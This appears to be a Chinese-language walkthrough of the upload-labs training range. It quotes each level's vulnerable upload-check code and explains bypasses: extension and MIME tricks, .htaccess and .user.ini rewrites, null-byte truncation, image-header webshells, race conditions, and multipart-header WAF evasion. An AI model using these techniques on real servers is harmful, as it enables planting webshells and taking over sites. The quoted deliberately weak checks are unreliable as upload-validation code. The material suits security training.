一个帮你总结所有类型的上传漏洞的靶场
绕过方法
源代码:
1functioncheckFile(){2varfile=document.getElementsByName('upload_file')[0].value;3if(file==null||file==""){4alert("请选择要上传的文件!");5returnfalse;6}7//定义允许上传的文件类型8varallow_ext=".jpg|.png|.gif";9//提取上传文件的类型10varext_name=file.substring(file.lastIndexOf("."));11//判断上传文件类型是否允许上传12if(allow_ext.indexOf(ext_name+"|")==-1){13varerrMsg="该文件不允许上传,请上传"+allow_ext+"类型的文件,当前文件类型为:"+ext_name;14alert(errMsg);15returnfalse;16}17}1.前端禁用JS,直接上传Webshell
2.把以.php结尾的小马改为以.jpg|.png|.gif结尾,用burpsuite抓包,在把.jpg|.png|.gif改回.php即可上传成功
1$is_upload=false;2$msg=null;3if(isset($_POST['submit'])){4if(file_exists($UPLOAD_ADDR)){5if(($_FILES['upload_file']['type']=='image/jpeg')||($_FILES['upload_file']['type']=='image/png')||($_FILES['upload_file']['type']=='image/gif')){6if(move_uploaded_file($_FILES['upload_file']['tmp_name'],$UPLOAD_ADDR.'/'.$_FILES['upload_file']['name'])){7$img_path=$UPLOAD_ADDR.$_FILES['upload_file']['name'];8$is_upload=true;910}11}else{12$msg='文件类型不正确,请重新上传!';13}14}else{15$msg=$UPLOAD_ADDR.'文件夹不存在,请手工创建!';16}17}由代码可知,对文件MIME类型进行了验证判断
1$is_upload=false;2$msg=null;3if(isset($_POST['submit'])){4if(file_exists($UPLOAD_ADDR)){5$deny_ext=array('.asp','.aspx','.php','.jsp');6$file_name=trim($_FILES['upload_file']['name']);7$file_name=deldot($file_name);//删除文件名末尾的点8$file_ext=strrchr($file_name,'.');9$file_ext=strtolower($file_ext);//转换为小写10$file_ext=str_ireplace('::$DATA','',$file_ext);//去除字符串::$DATA11$file_ext=trim($file_ext);//收尾去空1213if(!in_array($file_ext,$deny_ext)){14if(move_uploaded_file($_FILES['upload_file']['tmp_name'],$UPLOAD_ADDR.'/'.$_FILES['upload_file']['name'])){15$img_path=$UPLOAD_ADDR.'/'.$_FILES['upload_file']['name'];16$is_upload=true;17}18}else{19$msg='不允许上传.asp,.aspx,.php,.jsp后缀文件!';20}21}else{22$msg=$UPLOAD_ADDR.'文件夹不存在,请手工创建!';23}24}1.这里是黑名单验证('.asp','.aspx','.php','.jsp'),我们可上传php3,php5...等这样可以被服务器解析的后缀名
2.重写文件解析规则绕过。上传先上传一个名为.htaccess文件,内容如下:
然后再上传一个1.jpg
执行上传的1.jpg脚本
通过.htaccess文件调用php解析器去解析一个文件名中只要包含"1.jpg"这个字符串的任意文件,
无论扩展名是什么(没有也行),都以php的方式来解析
重写文件解析规则绕过,方法同上题一样,这里不再赘述
果然上传成功
1.php::$DATA,上传成功后保存的文件名其实是1.php
1$is_upload=false;2$msg=null;3if(isset($_POST['submit'])){4if(file_exists($UPLOAD_ADDR)){5$deny_ext=array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");67$file_name=trim($_FILES['upload_file']['name']);8$file_name=str_ireplace($deny_ext,"",$file_name);9if(move_uploaded_file($_FILES['upload_file']['tmp_name'],$UPLOAD_ADDR.'/'.$file_name)){10$img_path=$UPLOAD_ADDR.'/'.$file_name;11$is_upload=true;12}13}else{14$msg=$UPLOAD_ADDR.'文件夹不存在,请手工创建!';15}16}分析代码,由于$file_name=str_ireplace($deny_ext,"",$file_name);只对文件后缀名进行一次过滤,这样的话,双写文件名绕过,文件名改成1.pphphp
文件夹,上传的文件名写成1.jpg,save_path改成../upload/1.php%00,最后保存下来的文件就是1.php
1$is_upload=false;2$msg=null;3if(isset($_POST['submit'])){4$ext_arr=array('jpg','png','gif');5$file_ext=substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);6if(in_array($file_ext,$ext_arr)){7$temp_file=$_FILES['upload_file']['tmp_name'];8$img_path=$_POST['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;910if(move_uploaded_file($temp_file,$img_path)){11$is_upload=true;12}13else{14$msg="上传失败";15}16}17else{18$msg="只允许上传.jpg|.png|.gif类型文件!";19}20}原理同Pass-11,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成../upload/1.php【二进制00】形式
1functiongetReailFileType($filename){2$file=fopen($filename,"rb");3$bin=fread($file,2);//只读2字节4fclose($file);5$strInfo=@unpack("C2chars",$bin);6$typeCode=intval($strInfo['chars1'].$strInfo['chars2']);7$fileType='';8switch($typeCode){9case255216:10$fileType='jpg';11break;12case13780:13$fileType='png';14break;15case7173:16$fileType='gif';17break;18default:19$fileType='unknown';20}21return$fileType;22}2324$is_upload=false;25$msg=null;26if(isset($_POST['submit'])){27$temp_file=$_FILES['upload_file']['tmp_name'];28$file_type=getReailFileType($temp_file);2930if($file_type=='unknown'){31$msg="文件未知,上传失败!";32}else{33$img_path=$UPLOAD_ADDR."/".rand(10,99).date("YmdHis").".".$file_type;34if(move_uploaded_file($temp_file,$img_path)){35$is_upload=true;36}37else{38$msg="上传失败";39}40}41}绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。
或者我们使用命令copy1.jpg/b+shell.php/awebshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。但是我们没有办法拿到shell,应为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,或者配合解析漏洞
1functionisImage($filename){2$types='.jpeg|.png|.gif';3if(file_exists($filename)){4$info=getimagesize($filename);5$ext=image_type_to_extension($info[2]);6if(stripos($types,$ext)){7return$ext;8}else{9returnfalse;10}11}else{12returnfalse;13}14}1516$is_upload=false;17$msg=null;18if(isset($_POST['submit'])){19$temp_file=$_FILES['upload_file']['tmp_name'];20$res=isImage($temp_file);21if(!$res){22$msg="文件未知,上传失败!";23}else{24$img_path=$UPLOAD_ADDR."/".rand(10,99).date("YmdHis").$res;25if(move_uploaded_file($temp_file,$img_path)){26$is_upload=true;27}28else{29$msg="上传失败";30}31}32}getimagesize()函数用于获取图像尺寸,索引2给出的是图像的类型,返回的是数字,其中1=GIF,2=JPG,3=PNG,4=SWF,5=PSD,6=BMP,7=TIFF(intelbyteorder),8=TIFF(motorolabyteorder),9=JPC,10=JP2,11=JPX,12=JB2,13=SWC,14=IFF,15=WBMP,16=XBM
image_type_to_extension()函数用于获取图片后缀
Pass-16源代码:
php图像二次渲染:
这两个讲的还可以
打开被渲染后的图片,Webshell代码仍然存在
程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。
上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。
快速提交上面的数据包,可以让文件名字不被重命名上传成功。
然后利用Apache的解析漏洞,即可获得shell
1$is_upload=false;2$msg=null;3if(isset($_POST['submit'])){4if(file_exists($UPLOAD_ADDR)){5$deny_ext=array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");67$file_name=$_POST['save_name'];8$file_ext=pathinfo($file_name,PATHINFO_EXTENSION);910if(!in_array($file_ext,$deny_ext)){11$img_path=$UPLOAD_ADDR.'/'.$file_name;12if(move_uploaded_file($_FILES['upload_file']['tmp_name'],$img_path)){13$is_upload=true;14}else{15$msg='上传失败!';16}17}else{18$msg='禁止保存为该类型文件!';19}2021}else{22$msg=$UPLOAD_ADDR.'文件夹不存在,请手工创建!';23}24}原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg
------------------
于2019.10.24补充
今天在先知社区看到
学习到了利用.user.ini来上传php后门
利用条件:
利用步骤:
1.首先上传一个这样的.user.ini
GIF89aauto_prepend_file=1.jpg2.然后在上传这样一个图片马1.jpg
GIF89a
上传完毕直接访问这个可执行php文件即可
------------------------------
于2019.11.07日补充
1.绕过思路:对文件的内容,数据。数据包进行处理。
关键点在这里Content-Disposition:form-data;name="file";filename="ian.php"将form-data;修改为~form-data;2.通过替换大小写来进行绕过
Content-Disposition:form-data;name="file";filename="yjh.php"Content-Type:application/octet-stream将Content-Disposition修改为content-Disposition将form-data修改为Form-data将Content-Type修改为content-Type3.通过删减空格来进行绕过
Content-Disposition:form-data;name="file";filename="yjh.php"Content-Type:application/octet-stream将Content-Disposition:form-data冒号后面增加或减少一个空格将form-data;name="file";分号后面增加或减少一个空格将Content-Type:application/octet-stream冒号后面增加一个空格4.通过字符串拼接绕过
看Content-Disposition:form-data;name="file";filename="yjh3.php"将form-data修改为f+orm-data将from-data修改为form-d+ata5.双文件上传绕过
Content-Disposition:form-data;name="file";filename="yjh.php"我们通过替换form-data为*来绕过Content-Disposition:*;name="file";filename="yjh.php"7.HTTPheader属性名称绕过
源代码:Content-Disposition:form-data;name="image";filename="085733uykwusqcs8vw8wky.png"Content-Type:image/png绕过内容如下:Content-Disposition:form-data;name="image";filename="085733uykwusqcs8vw8wky.pngC.php"删除掉ontent-Type:image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".8.等效替换绕过
原内容:Content-Type:multipart/form-data;boundary=---------------------------471463142114修改后:Content-Type:multipart/form-data;boundary=---------------------------471463142114boundary后面加入空格。